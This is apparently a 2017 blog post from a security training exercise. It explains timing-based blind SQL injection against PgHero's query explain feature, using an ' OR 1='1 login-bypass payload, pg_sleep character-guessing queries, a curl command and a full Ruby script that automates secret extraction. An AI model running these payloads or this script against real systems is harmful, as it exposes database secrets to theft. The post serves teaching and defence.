Timing-based Blind SQL Attacks

Published in

HackerNoon.com

5 min readJan 9, 2017

In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query:

SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password';

If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. ' OR 1=':

SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password' OR 1='1';

The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account.

It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a blind SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was.

Picking on PgHero

As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. PgHero is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer:

This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything.

Timing-based Attack

While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: how long it takes the query to execute. Consider the following query:

SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;

This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using substr, every character in the string you’re trying to discover can be enumerated:

-- brute force 1st character
SELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
...-- brute force 16th character
SELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
...

Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility.

For each character, the query that took ~5s to run indicates the correct character. If for some reason pg_sleep() isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index).

To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command:

curl --silent \
  -d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \
  -d "commit=Analyze" \
  --user admin:password \
  https://myhost.com/pghero/explain

With a little boilerplate, we can automate the entire extraction process:

POSITIVE_DELAY = 2
CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a

def query(table, field, id, char, pos)
  %Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
end

def timeit
  t0 = Time.now
  yield
  Time.now - t0
end

def curl_test(table, field, id, char, pos)
  cmd = <<-CMD.squish
    curl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"
      --user admin:password
      https://myhost.com/pghero/explain
  CMD
  timeit { `#{ cmd }` } > POSITIVE_DELAY
end

def retrieve_field(table, field, id)
  buffer = ""
  (1..255).each do |pos|
    found = false
    CHARS.each do |char|
      if curl_test(table, field, id, char, pos)
        puts "#{pos}: #{char}"
        buffer << char
        found = true
        break # once a match is found, move on
      end
    end
    break unless found # if nothing matched, treat as end of string
  end
  buffer
end

secret = retrieve_field('apps', 'secret', 1)
puts "secret: #{secret}"

And a sample run of this attack:

$ ruby blind-sql.rb
1: 6
2: 4
3: 2
4: 8
5: 9
6: a
7: 1
8: 0
9: 9
10: c
11: d
12: 6
13: 3
14: b
15: d
16: f
17: 0
18: 3
19: a
20: 8
key: 64289a109cd63bdf03a8

Summary

Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack.

Timing-based Blind SQL Attacks

Picking on PgHero

Timing-based Attack

Summary

Written by Adam Derewecki